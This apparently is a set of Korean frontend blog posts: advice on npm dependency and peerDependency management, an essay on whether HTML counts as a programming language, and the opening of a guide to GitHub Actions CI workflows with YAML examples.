npm은 자바스크립트 개발자에게 있어 한 줄기 빛 같은 도구다. 자바스크립트 프로젝트를 시작한다고 하면, 열에 아홉은 `npm init` 명령어와 함께 시작한다. 그렇게 생성된 `package.json`에 필요한 npm 패키지를 하나 둘 씩 설치해 나가다 보면 어느새 프로젝트가 완성되어 있다. `don't reinvent the wheel again` 이라는 개발의 오랜 격언 처럼, 개발자가 필요로 하는 자바스크립트 패키지들 대부분은 npm에 존재하고 그리고 손쉽게 설치한다. 그러나 설치는 쉽게 하지만, 쉽게 설치되는 만큼 그 안에 개발 부채가 쌓이고 있다는 사실은 다들 간과하고 있는 것 같다. 점점 커져가고 있는 `package.json`에서는 무슨 일이 일어날 수 있을까? 그리고 이를 방지하기 위해서는 어떻게 해야할까?

## 1. 설치하고자 하는 패키지의 dependencies를 파악하자

아래 package.json을 살펴보자.

```json
{
  "name": "sample",
  "dependencies": {
    "react-scripts": "^3.4.2"
  },
  "devDependencies": {
    "eslint": "^7.32.0"
  }
}
```

`create-react-app`으로 react 프로젝트를 시작한다면 `react-scripts`가 설치되어 있을 것이다. 그리고 코딩 컨벤션을 위해 `eslint`를 설치할 수도 있다. 그러나 위 dependencies는 한가지 문제가 있다.

```text
➜  playground npm list eslint
playground@ /Users/yceffort/private/playground
├── eslint@7.32.0
└─┬ react-scripts@3.4.4
  ├─┬ @typescript-eslint/eslint-plugin@2.34.0
  │ ├─┬ @typescript-eslint/experimental-utils@2.34.0
  │ │ └── eslint@6.8.0 deduped
  │ └── eslint@6.8.0 deduped
  ├─┬ @typescript-eslint/parser@2.34.0
  │ └── eslint@6.8.0 deduped
  ├─┬ babel-eslint@10.1.0
  │ └── eslint@7.32.0 deduped
  ├─┬ eslint-config-react-app@5.2.1
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-loader@3.0.3
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-plugin-flowtype@4.6.0
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-plugin-import@2.20.1
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-plugin-jsx-a11y@6.2.3
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-plugin-react-hooks@1.7.0
  │ └── eslint@6.8.0 deduped
  ├─┬ eslint-plugin-react@7.19.0
  │ └── eslint@6.8.0 deduped
  └── eslint@6.8.0
```

`react-scripts@3.4.4`에서는 `eslint@6`를 사용 중인데, 이를 무시하고 `eslint@7`을 설치했을 경우 위와 같이 의도치 않는 패키지 트리를 생성하게 된다. `node_modules`에는 `eslint@7`이 설치될 것이고, [eslint의 7에는 breaking change](https://eslint.org/docs/user-guide/migrating-to-7.0.0)가 있기 때문에 잠재적으로 문제가 될 수 있다.

`react-scripts`를 `4.x`로 업데이트 하기로 결정했다고 가정해보자. 단순히 버전업만 하면 될까? 그렇지 않다. 버전업 하기전에는 패키지의 CHANGE LOG와 package.json에서의 dependencies의 변경에 주목해야 한다.

https://github.com/facebook/create-react-app/blob/main/CHANGELOG.md#migrating-from-34x-to-400

jest 버전이 24.x에서 26으로 업그레이드 된 것을 볼 수 있다. major 버전 업이기 때문에, jest를 사용하고 있는 테스트 코드에도 문제가 생길 수 있다.

- https://jestjs.io/blog/2020/01/21/jest-25
- https://jestjs.io/blog/2020/05/05/jest-26

그러나 놀랍게도 현재 시간 기준으로 jest의 최신 버전은 27 이다. https://jestjs.io/blog/2021/05/25/jest-27 최신버전을 포기하고 `react-scripts`의 버전에 의존할 것인가? 혹은 무시하고 최신버전을 설치할 것인가?

개발자가 설치하고자 하는 package의 dependencies는 항상 눈여겨 봐야 한다. 설치할 때 뿐만 아니라, major 버전업을 감행할 때 또한 주의를 기울여야 한다. 그리고 dependencies가 복잡한 패키지는 더더욱 설치할 때 주의를 기울여야 한다. 프로젝트에서 꼭 필요로 하는 package 인가? 전체 package의 버전이 여기에 좌우되도 괜찮은가?

## 2. peerDependencies 도 자세히 확인해보자

`peerDependencies`의 중요성을 알기전에, `peerDependencies`의 정의와 `dependencies`의 차이점을 알아야 한다.

> `peerDependencies`: In some cases, you want to express the compatibility of your package with a host tool or library, while not necessarily doing a require of this host. This is usually referred to as a plugin. Notably, your module may be exposing a specific interface, expected and specified by the host documentation.

> https://docs.npmjs.com/cli/v7/configuring-npm/package-json

`peerDependencies`란 실제로 패키지에서 `require`나 `import` 하지는 않지만, 특정 라이브러리나 툴에 호환성을 필요로 할 경우에 명시하는 dependencies다. npm3 부터 6까지는 `peerDependencies`가 자동으로 설치되지 않았고, 설령 버전이 맞지 않더라도 경고 문구만 뜰 뿐이었다. 그러나 npm@7 부터는 기본으로 설치되고, 이 버전이 맞지 않으면 에러도 발생한다.

> In npm versions 3 through 6, peerDependencies were not automatically installed, and would raise a warning if an invalid version of the peer dependency was found in the tree. As of npm v7, peerDependencies are installed by default.

```json
{
  "name": "playground",
  "dependencies": {
    "react": "16.8.6"
  },
  "devDependencies": {
    "@testing-library/react-hooks": "^7.0.2"
  }
}
```

위 `package.json`을 살펴보자. react 버전은 16.8.6으로 고정되어 있고, `@testing-library/react-hooks`를 설치하려고 시도하고 있다. 그러나 [`@testing-library/react-hooks`는 `peerDependencies`로 `react@>=16.9`를 요구하기 때문](https://github.com/testing-library/react-hooks-testing-library/blob/565c9f80ff969c3b9f20d8b2efdc033996d9ec27/package.json#L78)에 아래와 같이 npm@7 환경에서는 설치가 되지 않는다.

```text
➜  playground npm install
npm ERR! code ERESOLVE
npm ERR! ERESOLVE could not resolve
npm ERR!
npm ERR! While resolving: @testing-library/react-hooks@7.0.2
npm ERR! Found: react@16.8.6
npm ERR! node_modules/react
npm ERR!   react@"16.8.6" from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer react@">=16.9.0" from @testing-library/react-hooks@7.0.2
npm ERR! node_modules/@testing-library/react-hooks
npm ERR!   dev @testing-library/react-hooks@"^7.0.2" from the root project
npm ERR!
npm ERR! Conflicting peer dependency: react@17.0.2
npm ERR! node_modules/react
npm ERR!   peer react@">=16.9.0" from @testing-library/react-hooks@7.0.2
npm ERR!   node_modules/@testing-library/react-hooks
npm ERR!     dev @testing-library/react-hooks@"^7.0.2" from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR! See /Users/yceffort/.npm/eresolve-report.txt for a full report.

npm ERR! A complete log of this run can be found in:
npm ERR!     /Users/yceffort/.npm/_logs/2021-10-06T14_57_04_722Z-debug.log
```

반대로 npm@6 환경에서는 그냥 경고문구만 뜨는 것을 확인할 수 있다.

```text
➜  playground npx npm@6 install
npm WARN @testing-library/react-hooks@7.0.2 requires a peer of react@>=16.9.0 but none is installed. You must install peer dependencies yourself.
npm WARN react-error-boundary@3.1.3 requires a peer of react@>=16.13.1 but none is installed. You must install peer dependencies yourself.
npm WARN playground@ No description
npm WARN playground@ No repository field.
npm WARN playground@ No license field.
```

npm@6 환경에서 `peerDependencies`가 단순히 경고 문구만 내뱉고, 설치는 잘된다 하더라도 이를 간과해서는 안된다. 패키지 마다 `peerDependencies`를 버전에 맞게 선언하는데는 이유가 있을 것이고, 이를 지키지 않아서 발생할 수 있는 잠재적인 문제는 모두 오롯이 개발자가 안게 된다.

## 3. 살아있는 패키지를 설치해라

프로젝트에서 꼭 필요로 하는 패키지를 찾았다고 가정해보자. 우리가 필요로 하는 기능도 있고, 사용하기에도 어렵지 않다. 그리고 사용해보니 별 문제도 없었다. 그렇다면 설치해도 될까? 그렇지 않다. 장기적으로 서비스를 안정적으로 관리하기 위해서는 살아있는 패키지, 즉 활발하게 업데이트나 피드백이 오가는 패키지를 설치해야 한다.

우리 프로젝트에서는 [react-swipe-views](https://github.com/sanfilippopablo/react-swipeable-routes)라고 하는 패키지를 설치하여 사용했다. 사용 당시 까지만 하더라도 크게 이슈는 없었지만, 문제는 몇가지 개선사항이 필요해지면서 시작되었다. 수정이 필요한 코드도 찾았고, PR도 열어두었다. 이제 메인테이너의 머지와 버전업만 기다리고 있었는데... 문제는 해당 패키지가 더이상 관리가 되고 있지 않다는 것이었다. 패키지가 살아있기 위해서는 해당 패키지가 꾸준히 관리되고 활발하게 버전업되어야 하지만 그렇지 않으면 죽은 패키지가 되어 버린다. 물론 해당 패키지를 fork하여 개선하는 방법도 있지만 메인테이너의 도움 없이 패키지 코드를 읽고 원하는 형태로 동작하게 만들기 위해서는 상당한 노력이 필요하다.

이는 우리가 오픈소스를 사용하면서 발생하는 일종의 '빚'이라고 생각한다. 관리되고 유지보수 되면 좋지만, 그렇지 않더라도 비난할 수는 없다. 그것이 오픈소스 생태계 이기 때문에.

> 메인테이너를 찾고 있지만, 생각만큼 잘되고 있는 것 같지는 않다.
> https://github.com/oliviertassinari/react-swipeable-views/issues/558

이러한 일들을 막기 위해서는, 다수의 사용자가 사용하고 있는 패키지, star가 많은 패키지를 선택하는 것이 첫번째 방법이다.

![react-swipeable-views](./images/react-swipeable-views.png)

> `react-swipeable-views` 도 4k star에 used 30.6k 이건만,,

그리고 이 패키지를 운영하고 있는 주체가 누구인지도 확인해보고, 메인스트림 브랜치 기준으로 마지막 commit, PR, issue closed 등을 확인해보는 것도 필요하다. 최근까지 패키지가 '살아있다'는 증거를 찾았는가? 그렇다면 설치해도 좋다. 그렇지 않다면 장기적인 관점으로 봤을 때 설치를 재고해봐야 한다.

## 4. 핵심 라이브러리는 직접 구현하자

npm에서 제공되는 다양한 오픈소스 패키지를 활용하여 프로젝트를 꾸미는 것도 좋지만, 프로젝트의 핵심이 되는 코어 기능들은 외부 패키지에 의존하는 것 보다는 자체적으로 만들어서 제공하는 것이 장기적으로 안정적으로 서비스를 운영하는데 도움이된다. 우리가 사용하고 있는 npm 패키지들은 모두 오픈소스임을 명시해야 한다. 오픈 소스이기에 (라이센스만 준수한다면) 무료로 쉽게 이용할 수 있지만, 반대로 언제든지 오픈소스 프로젝트가 중단될 가능성도 존재한다.

> Babel is used by millions, so why are we running out of money?

> ... So, our ask is to help fund our work, via Open Collective and GitHub Sponsors. Though individual contributions do matter (and we deeply appreciate them), we are really looking for more companies to step up and become corporate sponsors, alongside our current sponsors like AMP, Airbnb, Salesforce, GitPod, and others. If it would be better for your company to sustain us in other ways, we are also open to hearing any ideas. Reach out to us directly or by email at team@babeljs.io.

> 프론트엔드 개발자라면 당연히 한번씩은 다 써봤을 babel도 현재 자금난에 시달리고 있다. (그 와중에 눈에 띄는 월 11,000달러 급여...)

> https://babeljs.io/blog/2021/05/10/funding-update

반대로 멀쩡히 잘 쓰고 있던 패키지가 어느 순간 라이센스 정책의 변화로 인해 사용이 어려워 질 수도 있다.

> If you’re a startup, you should not use React (reflecting on the BSD + patents license)

> https://medium.com/@raulk/if-youre-a-startup-you-should-not-use-react-reflecting-on-the-bsd-patents-license-b049d4a67dd2

> 3~4년 전쯤, 리액트가 갑자기 라이센스 정책을 바꾸려고 시도했던 적이 있다. 물론 이는 오픈소스 커뮤니티의 반발로 인해 무산되었다.

물론 프로젝트 전반에 있는 모든 라이브러리, 패키지들을 다 걷어내고 0에서 구현하자는 것은 아니다. 하지만 프로젝트의 핵심 기능, npm 에 존재하는 패키지만으로는 커버가 어려운 기능 등은 직접 구현해서 가지고 있는 것이 좋다. 물론, 내부적으로 패키지화해서 관리한다면 더 좋다. 이러한 이유 때문에 많은 회사들이 내부적으로 관리하는 패키지를 도입하고 있는 추세다. [private package](https://docs.npmjs.com/creating-and-publishing-private-packages)로 관리해도 좋고, 또 오픈소스 커뮤니티의 건강한 성장을 위해 보안상의 위협만 없다면 직접 세상에 알리는 것도 도움이 될 것이다. 그리고 이러한 경험이 개발자를 한단계 성장시키는데 큰 도움이 되리라 믿어 의심치 않는다.

---

Source: https://yceffort.kr/2021/10/is-html-programming-language.md
Title: HTML은 프로그래밍 언어인가? 라는 논쟁보다 중요한 것
Description: 더이상 HTML 논란은,, 네이버,,,
Date: 2021-10-03
Tags: html, frontend

## Table of Contents

## meme?

먼저 인터넷에 떠돌고 있는(?) HTML 프로그래밍 언어 관련 짤을 보고 가자.

![meme1](https://i.redd.it/m41loixjno811.jpg)

![meme2](https://i.kym-cdn.com/photos/images/original/001/382/372/e8b.jpg)

![meme3](https://pbs.twimg.com/media/EPgQXItUcAAQE9V.jpg)

## Introduction

> HTML은 프로그래밍 언어가 아닙니다.

라는 말은 프론트엔드 개발을 시작하면서 지겹게도 들어보았다. 정말로 프로그래밍 언어가 아니라는 것을 강조하고 싶었던 것인지, 자바스크립트 개발자로서 HTML은 매우 쉬운 언어이기 때문에 차별성을 두고 싶었던건지, 어쨌는 건지 모르겠지만 흔히들 하는 말은 '로직이 없다' 라든가 [튜링 완전(turing completeness)](https://ko.wikipedia.org/wiki/%ED%8A%9C%EB%A7%81_%EC%99%84%EC%A0%84) 이 없다 라든가 등의 논리를 들며 HTML은 프로그래밍 언어가 아니고 마크업 언어라고 주장한다.

> 튜링 완전(turing completeness)이란 어떤 프로그래밍 언어나 추상 기계가 튜링 기계와 동일한 계산 능력을 가진다는 의미이다. 이것은 튜링 기계로 풀 수 있는 문제, 즉 계산적인 문제를 그 프로그래밍 언어나 추상 기계로 풀 수 있다는 의미이다.

그렇다면 정말 프로그래밍 언어로서 HTML은 부족한 점이 있는 것일까? HTML은 정말 프로그래밍 언어가 아닌 것일까? 흔히들 HTML이 프로그래밍 언어로서 무언가 결함이 있거나 부정확하다고 주장할 때 언급되는 논리에 대해서 하나씩 살펴보자.

## HTML이 프로그래밍 언어가 아니라고 하는 주장들

대표적인 주장들을 살펴보자.

### HTML은 마크업 언어지, 프로그래밍 언어가 아니예요.

이 문장 자체는 맞는 것 같아 보이지만 틀렸다고 생각한다. 마크업 언어도 프로그래밍 언어가 될 수 있다. 모든 마크업 언어가 프로그래밍 언어인것은 아니지만, 그럴 수도 있다. 두 개의 벤다이어그램을 그린다면, 약간은 교차하는 모습이 나올 것이다.

변수, 제어, 루프 등을 가지고 있는 마크업 언어 또한 프로그래밍 언어가 될 수 있다. 이는 상호 배타적인 개념이 아니다. 마찬가지로 수학 수식을 그릴 때 사용하는 `Tex` 와 `LaTex` 도 프로그래밍 언어로 볼 수 있는 마크업 언어다. 이 두언어를 가지고 개발을 하는 것은 일반적인 상황은 아니지만, 온라인에서 이러한 예시를 찾아볼 수는 있다.

- https://www.ctan.org/tex-archive/macros/generic/basix
- https://sdh33b.blogspot.com/2008/07/icfp-contest-2008.html

따라서 마크업 언어라고 해서 프로그래밍 언어가 아니라고 하는 것은 잘못되었다. 요점은 두개의 개념이 별개가 아니라는 것이다. 마크업 언어는 프로그래밍 언어일 수 있다. 따라서 HTML이 마크업 언어이기 때문에 프로그래밍 언어가 아니라고 말하는 것은 애초에 전재 조건이 잘못되었다고 볼 수 있다.

### HTML은 로직을 가질 수 없어서 프로그래밍 언어가 아니예요.

로직이란 무엇일까? 튜링 완전과 마찬가지로, 이 주장을 다루기 전에 로직이란 무엇인지 확실히 정의내릴 필요가 있다.

보통 프로그래밍 언어에서의 로직은, 변수나 조건, 루프 등이 있어 사용할 수 있는 것을 의미한다. HTML은 그런데 이러한 것을 사용할 수 없기 때문에 프로그래밍 언어가 아니라고 생각할 수 있다. 하지만 HTML 속성 중에는 변수가 있으며, 변수와 함께 사용할 수 있는 제어구조가 있다. 내부 논리를 제어하는데 자바스크립트나 CSS 가 필요없는 HTML element 가 있다. 여기서 말하는 것은 과거 표준이었던 `<link>` `<noscript>`가 아니다. 사용자의 입력에 따라서 element의 현재 상태와 변수에 값에 따라 조건부 작업을 수행하는 element를 말하는 것이다.

아래 예시를 살펴보자.

```html
<dialog id="dialog1" open>
  <h2>This is an HTML <code>&lt;dialog&gt;</code></h2>
  <p>Dialog</p>
  <p>CSS나 자바스크립트 없이도 닫을 수 있습니다?!</p>
  <form method="dialog" action="#dialog1">
    <button>닫기</button>
  </form>
</dialog>

<details>
  <summary>화살표를 눌러보세요</summary>
  <div>
    <p>띠요옹</p>
    <p>CSS나 자바스크립트 없이도 여닫기를 할 수 있다?!</p>
  </div>
</details>
```

https://6710t.csb.app/

- https://developer.mozilla.org/ko/docs/Web/HTML/Element/dialog
- https://developer.mozilla.org/ko/docs/Web/HTML/Element/summary

따라서 HTML에는 로직이 없어서 프로그래밍 언어가 아니라고 말하는 것도 오해의 소지가 있다. HTML이 사용자의 입력 (클릭)에 따른 결정을 내릴 수 있다. 물론 HTML이 로직을 가지고는 있지만, 데이터를 조작하도록 설계된 다른 언어의 로직과는 본질적으로 다르긴하다. 어쨌거나, HTML이 프로그래밍 언어가 아니라고 말하기 위해서는 더 논리적인 주장이 필요하다.

### 튜링 완전함이 없어서 프로그래밍 언어가 아닙니다.

튜링 완전성이 무엇인지에 대한 논의는 여기저기서 많이 다뤄지고 있기 때문에 굳이 언급하지는 않겠다.

> In the simplest terms, for a language or machine to be Turing complete, it means that it is capable of doing what a Turing machine could do: perform any calculation, a.k.a. universal computation. After all, programming was invented to do math although we do a lot more with it now, of course!

> 언어나 머신이 튜링 완전성을 가지기 위해서는, 튜링 기계가 할 수 있는 것을 똑같이 할 수 있어야 한다. 모든 연산, 즉 보편적인 연산을 수행할 수 있어야 한다. 프로그래밍은 비록 우리가 수학으로 할 수 있는 것 보다 더 많은 것을 하고 있지만, 본질적으로는 수학을 하기 위해서 발명되었다.

> https://notlaura.com/is-css-turing-complete/

대부분의 현대 프로그래밍 언어들이 튜링 완전하기 때문에 사람들은 이를 프로그래밍 언어의 정의로 사용한다. 하지만 사실 튜링 완전성의 정의는 그것이 아니다. 앞서 위키피디아에서 본것 처럼, 튜링 기계를 시뮬레이션 할 수 있는지 여부를 나타내는 것이다. 튜링 완전성은 프로그래밍 언어를 분류하는데 사용할 수 있지만, 튜링 완전성을 가지고 프로그래밍 언어의 정의를 내리는데 사용하기엔 조금 무리가 있다. 예를 들어 마인크래프트나 매직더 게더링도 튜링 완전성을 가지고 있지만, 이를 프로그래밍 언어라고 생각하는 사람은 없다.

튜링 완전성은 아주 과거 일부 사람들이 컴파일 언어와 인터프리터 언어의 차이를 '좋은 언어'의 차이로 나눴던 것과 마찬가지 방식으로 사용되고 있는 것 같다. 백엔드 개발자가, 프론트엔드 개발자를 '가짜 프로그래밍을 하는 사람'으로 평가 절하했던 것과 마찬가지로.

프로그래밍의 정의는 시간에 따라 달라진다. 천공 카드에 어셈블리 코딩을 입력하는 것이 진짜 프로그래밍이라고 주장하는 사람들도 있을 것이다. 보편적이거나, 모세의 그것 처럼 돌로 쓰여진 것은 아무것도 없다.

튜링 완전성은 공정한 기준이라고 볼수도 있지만, 편향되고 주관적인 기준이라고 보는 것이 맞다. 튜링 완전 기계를 생성할 수 있는 언어는 프로그래밍 언어로 판단되는 반면, [유한 상태 기계](https://ko.wikipedia.org/wiki/%EC%9C%A0%ED%95%9C_%EC%83%81%ED%83%9C_%EA%B8%B0%EA%B3%84)를 생성하는 언어는 그렇지 않는 것으로 보는 이유는 무엇인가? 이는 완전히 주관적이라고 생각한다.

마찬가지로, HTML은 튜링 완전하지 않다라고 하는 사람들도 정작 튜링 완전성이 무엇인지 모르거나 이해하지 못하는 것 또한 사실이다. 튜링 완전성은 품질 보증서가 아니다. 프로그래밍 언어를 정의하는 것이 아니라 분류하는 방법이다. 프로그래밍언어는 컴파일/인터프리터일수도, 명령형/선언형 일수도, 절차적이거나/객체지향적 일수도있다. 그리고 마찬가지로 튜링완전할 수도 그렇지 않을 수도 있다.

## 그래서 HTML이 프로그래밍 언어라구요? 아뇨, 더 중요한 것은..

그래서, 프로그래밍 언어가 아니라고 하는 주장을 반박하면 HTML이 프로그래밍 언어가 되는건가? 그런 건 아니다. HTML 표준이 상상 이상으로 발전하거나, 프로그래밍 언어의 정의가 바뀌지 않는 이상 이 논쟁은 아마두 계속 될 것이다.

그러나 중요한 것은 개발자로서 이러한 질문을 받아드릴 경우 심각한 논쟁을 야기하는 것이 아니라, 이러한 논쟁으로부터 개발 생태계를 분리시키는 것이다. 이러한 논쟁은 의도를 숨긴채 쓸데없는 논란을 불러 오기 때문에 매우 경계해야 한다.

> They say you’re not a real programming language like the others, that you’re just markup, and technically speaking, I suppose that’s right. Technically speaking, JavaScript and PHP are scripting languages. I remember when it wasn’t cool to know JavaScript, when it wasn’t a “real” language too. Sometimes, I feel like these distinctions are meaningless, like we built a vocabulary to hold you (and by extension, ourselves as developers) back. You, as a markup language, have your own unique value and strengths.

> 사람들은 여러분이 다른 언어처럼 진짜 프로그래밍 언어라고 말합니다. 이는 단지 마크업이고, 엄밀히 말하면 저는 이것이 옳다고 생각합니다. 더 기술적으로 이야기 하자면, 자바스크립트와 PHP는 스크립트 언어 입니다. 자바스크립트를 아는 것이 자랑이 아니었을 때, 자바스크립트가 진짜 언어 취급을 받지 않았을 때를 기억합니다. 때때로 이런 구별과 논의가 무의미하다고 생각합니다. 마치 이러한 논쟁이 마크업 개발자를 자바스크립트 개발자 뒤로 붙들기 위한 어휘 처럼 느껴집니다. 마크업 언어로서, 여러분 (마크업 개발자 분들)들은 자신만의 고유한 가치와 장점을 가지고 있습니다.

https://css-tricks.com/a-love-letter-to-html-css/

## 결론

HTML 은 프로그래밍 언어인가 아닌가는 별로 중요한 논의도 아니고, 누군가 결정을 내려줘야할 문제도 아니다. 과거 프론트엔드 개발자들이 백엔드 개발자들에게, 나아가 개발자 커뮤니티에서 알게 모르게 무시 당했던 것과 비슷한 느낌이다. HTML과 프로그래밍 언어 이 논쟁은 의미도 없고 아무런 가치도 가지고 있지 않다. 개발을 하는데 개발자가 컴퓨터 공학과 인지, 동양인지 전혀 상관없는 것 처럼 개발자는 개발자 일 뿐이고, HTML은 HTML 일 뿐이다. 웹 생태계, 나아가 현재의 소프트웨어 생태계를 보았을 때 HTML이 차지하는 비중이 결코 작지 않다. HTML은 다른 것들과 마찬가지로 방대한 문서와 광범위한 문법을 가지고 있고, 간단하게 배울 수 있는 것도 아니며, 그 복잡성으로 인해 숙달하는데 있어 몇년이 걸린다. 프로그래밍 언어든 아니든 중요한 것은 HTML이 있다는 것, 그리고 좋은 품질의 웹 애플리케이션을 만들기 위해 반드시 사용해야 한다는 것, 그 것 뿐이다.

## 살펴보기

- https://notlaura.com/is-css-turing-complete/
- https://css-tricks.com/a-love-letter-to-html-css/
- https://css-tricks.com/html-is-not-a-programming-language/

---

Source: https://yceffort.kr/2021/09/github-ci-workflow-for-frontend-developer.md
Title: 프론트엔드 프로젝트를 위한 github CI workflow
Description: 사랑해요 Github
Date: 2021-09-28
Tags: devops, frontend, ci-cd

## Introduction

프론트엔드 엔지니어로 일을 하다 보면, 당연히 많은 오픈소스와 다양한 도구에 도움을 받고 의존하게 된다. VS Code 를 비롯해서 여러가지가 있지만, 최근에 내가 가장 도움을 많이 받은 도구 중 하나는 Github Action 이다. github action을 기반으로 github workflow를 만들고 활용하여 프론트엔드 팀의 CI/CD 파이프라인에 도움을 주는 방법을 살펴보자.

## 좋은 Github CI workflow는 무엇일까

- 최소한의 비용으로 실행해야 한다: github actions은 [빌드 시간 만큼 비용을 청구](https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions)하므로 빌드 시간을 최소한으로 낮춰야 한다.
- 효율적으로 동작해야 한다: workflow는 가능한 빨리 수행 되어서 성공 또는 실패 여부를 확인할 수 있어야 한다.
- 잘 설계되어 있어야 한다: 각 모든 step에는 모두 목적이 있으며, 쓸데 없는 step이 없어야 한다.

## Workflow 가 해야 하는 일

workflow에서 처리할 수 있는 일들에는 많지만, 일반적인 프론트엔드 프로젝트를 상상해본다면 아래와 같은 작업들을 처리할 것이다.

- lint
- formatting
- type checking
- unit test
- build
- e2e test (다양한 브라우저 지원)

물론 여유가 있다면 이러한 작업을 별도의 workflow에서 실행하는 것이 가장 간단한 방법이다. 그러나 모든 작업을 별개로 두었을 경우 한 작업이 실패한다면, 다른 작업은 진행할 필요가 없음에도 (모든 워크플로우가 통과하는게 의미 있기 때문에) 다른 작업을 중단하는 것은 불가능하다.

정리하자면, 이러한 방식의 워크플로우는 병렬로 실행되기 때문에 서로 상호 작용할 방법이 없다. 즉, 다른 워크 플로우의 실패를 다른 워크플로우의 중단으로 트리거할 수 없다.

따라서 좋은 방법은 모든 워크플로우를 하나로 결합하는 것이다. 독립적인 워크플로우 였던 모든 태스를 하나의 워크 플로우로 통합한다면 이러한 문제를 해결할 수 있다.

```yaml
jobs:
  lint-format:
    runs-on: ubuntu-latest
    strategy:
      matrix:
      node: [14, 16]
    steps:
      - name: Checkout Commit
      uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
      uses: actions/setup-node@v1
      with:
        node-version: ${{ matrix.node }}
      - name: Run lint
      run: |
        npm run lint
      - name: Run prettier
      run: |
        npm run prettier
```

이 job은 원하는 작업을 순차적으로 하거나 또는 병렬로 실행할 수 있다. github에서는 [`needs`라고 하는 키워드를 제공하여](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) 하나 또는 여러개의 작업을 dependencies로 설정할 수 있으므로, 하나의 작업이 성공적으로 끝나기 전까지는 달느 작업이 시작되지 않게 할 수 있다. 이러한 방법을 활용하면, 빠르게 workflow를 실패하게 만들 수 있고 비싼 작업을 여러번 반복하지 않아도 된다.

```yaml
# 타입체크와 유닛테스트가 병렬로 발생한다
# 빌드는 앞선 두 가지 작업이 성공적으로 발생했을 때만 수행
jobs:
  type-check:
    runs-on: ubuntu-latest
    strategy:
      matrix:
      node: [14, 16]
    steps:
      - name: Checkout Commit
      uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
      uses: actions/setup-node@v1
      with:
        node-version: ${{ matrix.node }}
      - name: Check types
      run: |
        tsc -p tsconfig.json --noEmit
  unit-test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
      node: [14, 16]
    steps:
      - name: Checkout Commit
      uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
      uses: actions/setup-node@v1
      with:
        node-version: ${{ matrix.node }}
      - name: Run test
      run: |
        npm run test
  build:
    runs-on: ubuntu-latest
    strategy:
      matrix:
      node: [14, 16]
    needs: [type-check, unit-test]
    steps:
      - name: Checkout Commit
      uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
      uses: actions/setup-node@v1
      with:
        node-version: ${{ matrix.node }}
      - name: Run build
      run: |
        npm run build
```

무엇을 병렬로 실행할지는 프로젝트의 필요에 따라 달라진다. 예를 들어 유닛테스트와 타입체크는 병렬로 진행하곤 한다. 이 두가지 단계는 빠르게 수행할 수 있고, 비용이 적게 들기 때문에 다른 테스트와 의존해서 실행될 필요가 없다. 따라서 위 작업이 수행된 후에 빌드 작업이 포함되어도 늦지 않다.

모든 워크플로우를 하나로 잘 결합하고, 병렬화할 작업 또는 순차적으로 실행할 작업을 신중하게 선택하여, CI 파이프라인의 작동방식과 각 단계간의 의존성에 대한 가시성을 높일 수 있다.

## 작업 결과 공유하기

모든 CI 단계를 결합했다면, 이제 다음 과제는 CI 과정에서 나온 결과물을 공유하여 CI를 최대한 효율적으로 작동하도록 하는 것이다. github action에서 사용할 수있는 방법은 두가지가 있다.

1. [actions/cache](https://github.com/actions/cache)를 활용한 레버리지 캐싱
2. [actions/upload-artifact](https://github.com/actions/upload-artifact)와 [download-artifact](https://github.com/actions/download-artifact)를 활용한 artifact 관리

첫번째 만으로도 이미 훌륭(?)하지만 npm install과 같이 반복적이고 시간이 지나도 크게 변하지 않는 출력을 가진 작업에만 사용할 수 있다.

> 참고하기: https://docs.github.com/en/actions/advanced-guides/caching-dependencies-to-speed-up-workflows#example-using-the-cache-action

```yaml
jobs:
  # 이 jobs은 이름에서 알 수 있는 것 처럼, 이전 워크플로우 실행에서 캐시되고 변경이 일어나지 않는 경우 npm dependencies를 설치하고 캐시한다.
  install-cache:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [14, 16]
    steps:
      - name: Checkout Commit
        uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
        uses: actions/setup-node@v1
        with:
          node-version: ${{ matrix.node }}
      - name: Cache npm dependencies
        uses: actions/cache@v2
        id: cache-dependencies
        with:
          path: node_modules
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
          restore-keys: |
            ${{ runner.os }}-npm-
      - name: Install Dependencies
        # 캐시가 있다면 해당 스텝을 넘어가고, 그렇지 않다면 설치
        if: steps.cache-dependencies.outputs.cache-hit != 'true'
        run: |
          npm ci

  # 이전에 캐시로 체크했던 의존성을 사용
  type-check:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node: [14, 16]
    needs: install-cache
    steps:
      - name: Checkout Commit
        uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node }}
        uses: actions/setup-node@v1
        with:
          node-version: ${{ matrix.node }}
      # 여기에서도 actions/cache를 사용하지만, 여기에서는 의존성을 되살리는 용도로만 사용
      # 워크플로우 전단계에서 이미 설치하거나 캐시를 불러왔을 것이기 때문에 install을 하지 않음
      # Here we use actions/cache again but this time only to restore the dependencies
      - name: Restore npm dependencies
        uses: actions/cache@v2
        id: cache-dependencies
        with:
          path: node_modules
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
          restore-keys: |
            ${{ runner.os }}-npm-
      - name: Check types
        run: |
          tsc -p tsconfig.json --noEmit
```

여기에서 artifacts를 사용하면 더 향상시킬 수 있다.

